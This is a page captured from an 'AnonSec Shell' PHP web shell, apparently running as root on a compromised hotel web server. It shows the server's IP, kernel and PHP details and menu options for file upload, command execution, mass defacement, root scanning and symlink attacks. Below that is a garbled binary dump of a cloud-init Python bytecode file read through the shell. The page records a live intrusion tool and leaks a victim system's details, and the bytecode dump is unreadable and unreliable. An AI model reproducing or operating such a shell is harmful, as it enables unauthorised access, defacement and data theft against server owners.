AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core20/2599/usr/lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/core20/2599/usr/lib/python3/dist-packages/cloudinit/__pycache__/cloud.cpython-38.pyc
U

��g��@stddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
e�e�ZGdd�d�ZdS)	�N)�Optional)�Distro)�Paths�Runners)�events)�
DataSourcec@s�eZdZd!eeeeeee	j
d�dd�Zedd��Z
d"dd	�Zd
d�Zd#d
d�Zdd�Zedd��Zdd�Zdd�Zd$dd�Zdd�Zd%dd�Zd&dd�Zd'dd �ZdS)(�CloudN)�
datasource�paths�cfg�distro�runners�reportercCs@||_||_||_||_||_|dkr6tjdddd�}||_dS)Nzunnamed-cloud-reporterF)�nameZdescriptionZreporting_enabled)r	r
r�_cfg�_runnersr�ReportEventStackr)�selfr	r
rrr
r�r�1/usr/lib/python3/dist-packages/cloudinit/cloud.py�__init__ s	�zCloud.__init__cCst�|j�S�N)�copy�deepcopyr�rrrrr6sz	Cloud.cfgFcCs|j�|||||�Sr)r�run)rrZfunctor�argsZfreqZ
clear_on_failrrrr;sz	Cloud.runcCs6|jj|}tj�|�s2t�dtj�|�|�dS|S)Nz-No template found in %s for template named %s)r
Ztemplate_tpl�os�path�isfile�LOGZwarning�dirname)rr�fnrrr�get_template_filename>s
�zCloud.get_template_filenameTcCs|j�|�Sr)r	�get_userdata)rZapply_filterrrrr$JszCloud.get_userdatacCs
|j��Sr)r	�get_instance_idrrrrr%MszCloud.get_instance_idcCs|jjSr)r	�launch_indexrrrrr&PszCloud.launch_indexcCs
|j��Sr)r	�get_public_ssh_keysrrrrr'TszCloud.get_public_ssh_keyscCs
|j��Sr)r	�
get_localerrrrr(WszCloud.get_localecCs|jj||d�S)N)�fqdn�
metadata_only)r	�get_hostname)rr)r*rrrr+Zs�zCloud.get_hostnamecCs|j�|�Sr)r	�device_name_to_device�rrrrrr,_szCloud.device_name_to_devicecCs|j�|�Sr)r
�
get_ipath_curr-rrrr.bszCloud.get_ipath_curcCs|j�|�Sr)r
�	get_cpathr-rrrr/eszCloud.get_cpathcCs|j�|�Sr)r
�	get_ipathr-rrrr0hszCloud.get_ipath)N)NF)T)FF)N)N)N)�__name__�
__module__�__qualname__rr�dictrrrrrr�propertyrrr#r$r%r&r'r(r+r,r.r/r0rrrrrs0��






r)rZloggingr�typingrZcloudinit.distrosrZcloudinit.helpersrrZcloudinit.reportingrZcloudinit.sourcesrZ	getLoggerr1r rrrrr�<module>s


Anon7 - 2022
AnonSec Team